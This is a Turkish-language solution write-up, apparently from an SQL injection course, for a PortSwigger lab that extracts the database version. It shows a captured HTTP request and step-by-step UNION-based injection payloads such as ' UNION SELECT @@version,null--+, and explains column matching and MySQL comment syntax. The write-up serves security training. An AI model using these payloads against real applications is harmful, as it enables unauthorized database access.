> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-attack-querying-the-database-type-and-version-on-mysql-and-microsoft-cozumu.md).

# SQL injection attack, querying the database type and version on MySQL and Microsoft Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün kategori filtresinde sql açığı varmış. UNION saldırısyla istediğimiz queryi enjekte edip veritabanı versiyonunu çekmeliymişiz.

***

Başlıkta MySQL and Microsoft denmiş o yüzden onun sql dili detaylarını kullanacağımızı biliyoruz.

Sayfa aşağıdaki gibi:

<figure><img src="/files/e0Yn6eyYPcHBwMsTn7v5" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/CL6RsVN4ooGqBFdAerOg" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Gifts HTTP/1.1
Host: 0a65008204ea3358802508b500ae005e.web-security-academy.net
Cookie: session=5OEe0KqT4yYxQj44UOugzijVY3Ywuh4F
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0a65008204ea3358802508b500ae005e.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Gifts, buradaki Gifts yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım.

ilk amacımız veritabanını çeken sorguyu UNION ile çalıştırmak olmalı:

`' UNION SELECT @@version--`

gönderince 500 hatası aldık, hatırlayın önceki SELECT sorgusunda kaç sütün çekildiyse, UNION ile eklediğimiz SELECT sorgusu da aynı sayıda sütün çekmek zorunda. Bir tane daha null ekleyelim

`' UNION SELECT @@version,null--`

Hala 500 hatası veriyor

Şimdi çeşitli olasılıklar doğdu. Yazıda anlattığım ORDER BY metodu ile önceki SELECT sorgusunun kaç sütün çektiğini öğrenebilirsiniz. Burada bu lablarda aynı yeri hep sql injection denediğimiz için önceki SELECT sorgusunun yine 2 veri çektiğini düşünüyorum.

Burada önemli bir detayı hatırlamamız gerekiyor MySQL’de yorum satırından sonra boşluk olmazsa( `--` ) bunu yorum satırı olarak kabul etmez.

Payload'un sonuna eklediğimiz **`+`** işareti, URL (HTTP) üzerinden gönderildiğinde sunucu tarafında bir **boşluk** karakterine dönüşür. Yani: `--+` ifadesi aslında veritabanına `--` (tire-tire-boşluk) olarak gider.

`' UNION SELECT @@version,null--+`

Böylece lab bitti.

<figure><img src="/files/nOVNa9LbJ3XO53pgyOka" alt=""><figcaption></figcaption></figure>

versiyon stringini de gelen cevapta görebiliriniz.

<figure><img src="/files/zw93L17YovT6AOl37X06" alt=""><figcaption></figcaption></figure>
